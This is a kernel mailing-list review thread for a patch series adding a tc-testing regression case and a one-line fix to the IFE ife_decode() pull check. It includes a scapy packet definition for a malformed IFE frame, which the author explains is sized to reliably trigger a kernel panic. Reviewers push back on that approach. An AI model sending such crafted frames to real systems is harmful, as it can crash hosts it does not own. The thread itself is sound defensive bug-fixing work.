Quoted 91 lines · Jamal Hadi Salim
Quoted 90 lines · Ren Wei

From: Yong Wang <[email protected]>

Add a tc-testing regression case for IFE decode with a malformed ETH_P_IFE frame carrying only the minimal IFE metadata header followed by a truncated inner Ethernet header.

The test installs an ingress flower rule with "action ife decode pipe" and injects an IFE frame from scapy, then verifies packet accounting through "tc -s -j filter show". Using JSON output makes the check less sensitive to formatting differences in tc's text output.

To let the testcase send the larger frame shape it needs, extend scapyPlugin with an optional "mtu" field and apply it to the transmit interface before sendp(). This is needed because nsPlugin creates DEV0 in the root namespace, so testcase setup commands executed inside the test namespace cannot adjust DEV0 directly.

---
Changes in v2:
- add a tc-testing regression case for the malformed IFE decode frame
- add an optional mtu field to scapyPlugin for the reproducer
- v1 link: https://lore.kernel.org/all/6200dc9e5ea7a85d500e72543d897c2d930fcdce.1780809474.git.edragain@163.com/

 .../tc-testing/plugin-lib/scapyPlugin.py      |  6 ++
 .../tc-testing/tc-tests/actions/ife.json      | 62 +++++++++++++++++++
 2 files changed, 68 insertions(+)
tools/testing/selftests/tc-testing/plugin-lib/scapyPlugin.py +6 -0
index 254136e3da5a..e84b344dd1fa 100644
@@ -50,5 +50,11 @@ class SubPlugin(TdcPlugin):
             if '$' in scapyinfo['iface']:
                 tpl = Template(scapyinfo['iface'])
                 scapyinfo['iface'] = tpl.safe_substitute(NAMES)
+            if 'mtu' in scapyinfo:
+                subprocess.run(
+                    [NAMES['IP'], 'link', 'set', 'dev',
+                     scapyinfo['iface'], 'mtu', str(scapyinfo['mtu'])],
+                    check=True, stdout=subprocess.DEVNULL,
+                    stderr=subprocess.DEVNULL, env=ENVIR)
             for count in range(scapyinfo['count']):
                 sendp(pkt, iface=scapyinfo['iface'])
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +32 -0
index 808aef4afe22..062efbe284dc 100644
@@ -1378,5 +1378,67 @@
         "teardown": [
             "$TC actions flush action ife"
         ]
+    },
+    {
+        "id": "8a7c",
+        "name": "Decode malformed ife frame with truncated inner ethernet header",
+        "category": [
+            "actions",
+            "ife",
+            "scapy"
+        ],
+        "plugins": {
+            "requires": [
+                "nsPlugin",
+                "scapyPlugin"
+            ]
+        },
+        "setup": [
+            [
+                "$TC actions flush action ife",
+                0,
+                1,
+                255
+            ],
+            [
+                "$TC qdisc del dev $DEV1 clsact",
+                0,
+                1,
+                2,
+                255
+            ],
+            "$IP link set dev $DEV1 mtu 65535",
+            "$TC qdisc add dev $DEV1 clsact",
+            "$TC filter add dev $DEV1 ingress protocol 0xed3e prio 1 flower action ife decode pipe"
Quoted 9 lines

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1418

Quoted 6 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +6 -0
+        ],
+        "cmdUnderTest": "$TC -s -j filter show dev $DEV1 ingress",
+        "scapy": {
+            "iface": "$DEV0",
+            "count": 1,
+            "mtu": 65535,

I am not following - why is this the mtu being set?

In this setup, nsPlugin creates $DEV0/$DEV1 as a veth pair. A veth device uses the normal Ethernet default MTU via ether_setup(), which sets dev->mtu = ETH_DATA_LEN, and ETH_DATA_LEN is 1500. To send big payload(>1500), setting mtu is needed.

Quoted 5 lines

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1419

Quoted 1 line
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +1 -0
+            "packet": "Ether(dst='ff:ff:ff:ff:ff:ff', type=0xED3E)/Raw(b'\\x00\\x02' + b'\\xcc' * 14 + b'\\xdd' * (5000 - 16 - 14))"

And why do you need such a big payload?

Quoted 7 lines

I tested this locally and found that the minimum packet length that reliably triggers the panic in my setup is about 4080 bytes. I guess that is because the reproducer needs to cross the AF_PACKET allocation threshold in packet_alloc_skb():

    if (prepad + len < PAGE_SIZE || !linear)
        linear = len;

Below that threshold, the packet appears to stay fully linear, which does not reproduce the non-linear inner-header condition needed for the eth_type_trans() crash. So the crafted frame needs to be at least that large to reliably trigger the original panic path.

The bug is obvious - triggering the panic is not the right thing to do here. The one Victor sent will work with a patched vs not patched kernel. We will know the bug exist because the drop counter in one case goes up but not other.
So resend with his patch please.

cheers,
jamal

Quoted 46 lines
Quoted 17 lines
Quoted 6 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +6 -0
+        },
+        "expExitCode": "0",
+        "verifyCmd": "$TC -s -j filter show dev $DEV1 ingress",
+        "matchJSON": [
+            {
+                "kind": "flower"

tools/testing/selftests/tc-testing/tc-tests/actions/ife.json line 1435

Quoted 10 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +10 -0
+            },
+            {
+                "options": {
+                    "actions": [
+                        {
+                            "kind": "ife",
+                            "stats": {
+                                "packets": 1
+                            }
+                        }
Quoted 2 lines

Should you not be checking for a drop here?

Yes, I will modify it right away.

Quoted 7 lines

The AI didn't do a good job here.
Please use Victor's patch and resend. Also the tdc testcase should be patch 2 not 1.

cheers,
jamal

I tested Victor's testcase locally. It does cover the truncated inner-header case, but it did not trigger the panic I originally observed. Would you prefer that I resend the series using Victor's testcase anyway, or sending a tdc testcase which trigger panic? Also I will adjust the patch ordering.
Thanks,
Yong

Quoted 13 lines
Quoted 13 lines
tools/testing/selftests/tc-testing/tc-tests/actions/ife.json +7 -1
+                    ]
+                }
+            }
+        ],
+        "teardown": [
+            "$TC qdisc del dev $DEV1 clsact"
+        ]
     }
 ]
--

2.34.1

author
#5 lore raw

PATCH v2 2/2 net: ife: require ETH_HLEN to be pullable in ife_decode()

In reply to Ren Wei

From: Yong Wang <[email protected]>

ife decode may return after making only the outer IFE header and metadata pullable. The caller then passes the decapsulated packet to eth_type_trans(), which expects the inner Ethernet header to be accessible from the linear data area.

With a malformed IFE frame, the inner Ethernet header may still be shorter than ETH_HLEN in the linear area, which can lead to a crash in the original code.

Fix this by extending the pull check in ife_decode() so that the inner Ethernet header is also guaranteed to be pullable before returning.

Fixes ef6980b6becb ("introduce IFE action")
Assisted-by Codex:gpt-5.4

---
Changes in v2:
- move the ETH_HLEN pull check from tcf_ife_decode() into ife_decode()
- apply Jamal's suggested total_pull + ETH_HLEN check shape
- v1 link: https://lore.kernel.org/all/6200dc9e5ea7a85d500e72543d897c2d930fcdce.1780809474.git.edragain@163.com/

 net/ife/ife.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
net/ife/ife.c +1 -1
index be05b690b9ef..7a75947a31e3 100644
@@ -79,7 +79,7 @@ void *ife_decode(struct sk_buff *skb, u16 *metalen)
 	if (unlikely(ifehdrln < 2))
 		return NULL;
 
-	if (unlikely(!pskb_may_pull(skb, total_pull)))
+	if (unlikely(!pskb_may_pull(skb, total_pull + ETH_HLEN)))
 		return NULL;
 
 	ifehdr = (struct ifeheadr *)(skb->data + skb->dev->hard_header_len);
Signature · 1 line
2.34.1